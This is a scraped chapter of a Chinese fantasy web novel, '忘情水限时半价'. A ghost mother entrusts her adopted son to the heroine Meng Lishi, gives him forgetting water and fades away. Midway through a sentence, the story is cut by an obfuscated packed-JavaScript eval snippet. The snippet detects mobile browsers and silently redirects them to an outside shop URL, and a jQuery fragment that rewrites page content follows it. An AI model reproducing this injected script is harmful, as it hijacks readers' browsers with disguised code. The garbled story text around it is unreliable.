57. 鬼魂母亲与被弃男婴(2)
作品:《忘情水限时半价》 一道道寒光将天穹划破,天色被浓墨晕染得厉害,黑云翻涌着,雷声滚滚。
一只寒鸦凄厉地叫着,停在一块歪倒腐烂的墓碑上,歪头看着一个女人被扔进一个巨大的土坑中。
女人已经没了生气,双眼却睁开,死死望着天空。
寒鸦用尖喙戳了戳翅膀,那群将女人扔在此处的人已经转身离开了,它准备再等一会,再等一会就去大吃一顿。
就在它要展开翅膀前,一道扯着嗓子的婴儿哭喊在乱葬岗内响起,将远处几只正啄食腐肉的乌鸦惊飞。
它在墓碑上跳了跳,转过身,黢黑的眼眸倒映着暗沉的环境,却没发现什么危险。
不管了,它要吃肉。
乌黑发亮的翅膀猛地展开,向着那具新来的尸体飞去,就在它要降落时,一道青色身影忽的从下面坐起,或者说,从女人身体里钻了出来。
它被吓了一跳,急急转了个弯,向着远处飞去,恐惧地叫着。
那道青色身影只钻出半个身子,它眼睛紧闭着,周围一团团黑气被吸引着向它聚拢,穿过它的身体。
过了许久,它终于脱离身下尸体的束缚,爬了出来,踉跄着,艰难的,踩着堆叠的尸体,爬出深坑。
它睁着发白的眼眸,环视四周,突然爆发一声喊叫,愤恨的,凄厉的,将更多乌鸦惊飞。
婴儿哭啼声已经弱得不成样子了,被惊飞的寒鸦再次飞了回来,重现落在腐烂的尸体上。
细长的手指肉眼可见地长出尖利指甲,在空中飘浮的幽绿色荧光下泛着慑人的寒光,它拖着自己刚凝聚出的身体,一步步往前走。
走了数米,婴儿哭啼声再次响彻在乱葬岗。
它脚步猛地一顿,用那没有瞳仁的眼睛望着四周,那声音细细的,却穿透风声,像根看不见的线,牵着它的脚步。
它终于确定声音来源,调转方向,一步步挪过去。
是个婴儿,包裹他的襁褓已经散开,他双脚无力地瞪着,两只小手捏成拳放在脸边,努力扯着嗓子哭喊。
它缓缓跪在孩子身前,颤着手将对方抱起,锐利的指甲消散,身体渐渐拥有实体。
一滴泪从她半白半黑的瞳孔里流下,划过苍白的脸庞,滴落在黑色的烂泥中。
“不哭不哭,娘在呢。”她轻轻晃着婴儿,扯着僵硬的嘴角笑道。
婴儿睁开圆溜溜的眼睛,直直地看着她,渐渐止住了哭声。
“这不是你的孩子吧。”孟梨食问。
女人弓下身,近乎将脸埋在被子里,声音呜咽:“是我的孩子,他是我的孩子。”
孟梨食食指微动,一根红线从对方头顶钻出,缠绕在她指尖,她细细感受着,说:“你孩子没死。”
女人身形一僵,缓缓抬起头,那张脸被泪水糊满,眼眶通红,“你,你说什么?”
因果线被孟梨食捏住,她又感受番,无比确定道:“你孩子没有死。”
“呜呜啊……”女人掩面痛哭,席子外传来稚嫩又担忧的声音:“娘!”
眼见男孩就要进来,小魂一个闪身出去,对男孩道:“我们正在给你娘治病呢,可不能打扰。”
“你们……”
女人想说些什么,孟梨食打断道:“他自有他的命数,我最多帮你算到几年后他有一劫,也能告诉你解决之法。”
女人弯下腰,低头道:“求您帮我。”
孟梨食看了眼手中的因果线,将其抛向空中,看着它飘飘扬扬,一端化为虚无,而另一端,没入女人眉心。
“在心里说出想对他说的话吧,劫数到来时,他会听见。”孟梨食说。
女人握紧双手,虔诚地低下头,看起来已经在心里对她从未见过面的孩子说出压藏在心里多年的话。
好一会儿后,女人抬起头,泪眼婆娑地看向孟梨食:“谢谢你,我真的不知道该如何感谢你。”
“故事也说的差不多了,你有什么要补充的吗?”
女人握紧手,又缓缓松开,“如果可以,希望你们能给安儿找个爱他的父母,找不到也没关系,能让他有个归处就很好了,他很乖的。”
她看向孟梨食,“忘情水,不知要多少钱才能买,我想给安儿买一碗。”
“你想让他忘掉你?”
“如果他未来都能幸福,那他没必要记得我,如果未来有爱他的爹娘,那忘记我这个娘也算件好事。”
孟梨食看对方也不像有钱的样子,便道:“行,我答应你,会给他安排个好去处。”
江余客神色微动,手臂微微抬起,似乎想说些什么,最终却没能说出来。
孟梨食继续道:“无的一半也是无,这忘情水,你尽管拿去。”
她左手伸出,一只瓷碗突然浮现于掌心,考虑到对方已经无法端住碗,她便将碗放在长条凳上。
“此等大恩,我只能来世相报了。”女人道,她的头顶渐有荧光飘出。
“我不需要你的报答,到了地府报我孟梨食的名号,自会有人安排你。”
女人点点头,她再也说不出什么能表达她感激的话,能在她生命尽头遇见如此善人,要她如何报答都愿意。
她早已死去,灵魂迟迟不归地府以至于自己逐渐化成鬼魂,无非两件事,一件是自己死后,安儿的去处。
对方虽不是自己所生,却在襁褓中便被自己捡起养大,是对方的一声啼哭唤回她的理智,让她没有成为鬼尸。
而另一件事,便是她的亲生孩儿,本以为对方刚出生便被害死,竟意外得知对方还活着,自己还能为对方留下话,留下一些娘爱着孩子的话。
她此生无憾了。
孟梨食抬起手,为对方输送些灵力,女人本就虚化的手臂渐渐凝聚。
女人呼了口气,,微微仰着头,将眼泪倒流,朝着悬挂着的席子看去,放轻声音唤道:“安儿。”
屋外旋即响起回答:“娘!”
登登登,焦急的脚步声靠近,伴随着小魂低低的惊呼:“慢点,别摔了。”
小魂推开席子,男孩捧着碗从下方走进。
“娘,神仙把你治好了吗?你还需要喝药吗?”男孩将碗高高举起,凑到女人面前,将头探出来看她。
“娘好了,把药放下吧。”女人轻笑着,眼角皱纹舒展开。
“真的吗?太好了!”男孩看向孟梨食等人,笑道:“谢谢神仙!”
“来,把碗放下,到娘这里来。”女人朝男孩招手。
“嗯!”男孩将碗放在长条桌上,却见凳上已经有了一只碗,这种棕色带纹路的碗家里没有。
男孩小心爬上床,坐在床沿,晃着双脚,“怎么了,娘?”
女人伸出手臂,将对方拥入怀中,右手一下一下地抚在他背上。
男孩顿时高兴地将自己塞进对方怀里,娘已经很久没有抱他了,他喜欢娘抱着他。
女人微侧过身,将凳上那碗忘情水端起,轻声哼道:“安儿乖,喝口神仙给的水,一辈子都不会生病了。”
男孩从女人怀里探出头,用手捧着碗,咕噜咕噜将水喝了,他咂巴着嘴,朝女人笑道:“娘,神仙给的水是甜的!”
刚说完,小魂和江余客朝前面的人看了一眼,被看的人眼神游移。
“唔,娘,我困……”
男孩打了个哈欠,再次缩回了女人怀里。
女人右手继续轻拍着男孩,眼帘低垂,嘴中轻哼着,“安儿乖,安儿睡,睡醒了娘陪你玩……”
慢慢的,她停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082724|192943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下动作,在男孩额上落下一吻,抬头看着面前的人:
“实在是麻烦你们了,安儿很乖,很听话的……”
她声音渐弱,抱着男孩的手臂开始虚化。
孟梨食忙上前,从对方怀中将男孩接过。
很小的孩子,很轻,能被她完全圈在怀中。
她看向床上的女人:“安心去吧。”
对方很轻地点了下头,身形肉眼可见地消散,瞬间,房间内被寂静挤满。
床上浮现点点幽绿的光,它们逐渐升起、扩散,向着头顶稀疏的茅草顶飘去,消失在灰蒙蒙的天际。
江余客走到孟梨食身边,手臂要伸不伸,看得出有些渴望又有些纠结,“重吗?我抱吧。”
“很轻。”孟梨食回道,却依旧小心地将人送到对方怀中。
柔软缓慢过度在自己怀中,早已做好准备的江余客仍不由得一怔,身形僵硬。
“抱好,别摔了。”孟梨食睨了他一眼,犹豫着收回手。
小魂凑了过来,一见江余客这外行人都看得出来不标准的抱娃姿势,立马不满道:“你会不会抱,还是把孩子放我背上,我可以变成一个摇篮。”
小魂摆着身体,得瑟道:“我还可以变成木马,变成秋千……”
孟梨食将魂弹开,皱眉打断它的话,“小声点。”
几人从屋中退出,孟梨食看了眼江余客怀里的孩子,又看了眼渐渐被黑暗吞噬的破败木屋。
她收回目光,心想,按买水人的要求,她不会让这孩子知道这一切,也不会让他再回到这里。
她立誓,会让这孩子从今往后快乐、幸福下去。
从小巷的浓影中出来,几人一眼看见围着他们马车舞刀弄棍的几人。
马车被结界包裹,任他们如何大力轰击,都不能动摇分毫。
江余客抱着孩子不好出手,孟梨食在他手臂上示意性的一拍,走上前。
她右手一勾,数根红绳从身前的空气中蹿出,鞭子般甩在空中,发出破空声响。
光这么一甩,那些人便被吓得屁股跌在地上,脸色发白。
“妖、妖怪啊!”
“妖怪吃人了!”
孟梨食:“……”
小魂捂嘴偷笑,见江余客走上前,视线落在他怀里的孩子上,感叹道:“有人喊你神仙,有人喊你妖怪,嗐!”
孟梨食本就想放过这些人,偏小魂在一旁捣火,气得她反手抓住小魂,扔了出去。
魂体准确地从跑到最前面的男人的胸口穿过,死鱼浮尸般飘在空中。
那男人猛地一顿,一股寒气从骨髓深处渗出,无形地蔓延全身,整个身体仿佛都被冻住,僵硬地倒向地面。
其余男人见状,尖叫着跑得更快了。
孟梨食扶着江余客上了马车,撩开车帘,与气势汹汹飘回来的小魂对上视线。
在对方开口大骂谴责自己不道德行为前,孟梨食开口道:“行了,你去看孩子,我来驾车。”
不知是即将下雨还是这流民城本身的问题,从他们踏入这座城中时,天空便是压抑的灰色,灰尘与枯叶被风卷着满街飘荡,而这么一会,天更暗了。
风吹得更加猛烈,不少被遗落在街边的杂物被吹得砰砰作响。
流民城本就不是安生之地,夜色更能激起人心中的邪念,她得在天完全黑下来前出城。
虽说她不惧这些凡人攻击,但麻烦能少一些是一些。
好在,马车终于在夜色彻底笼罩前驶出城门,驶进一道山间大道上。
不知过了多久,马车缓缓停了下来,马匹在原地踏着蹄,鼻息在寒夜里凝成白雾。
孟梨食随手一弹,扔出一根红绳,熟悉的结界再次将马车包裹。

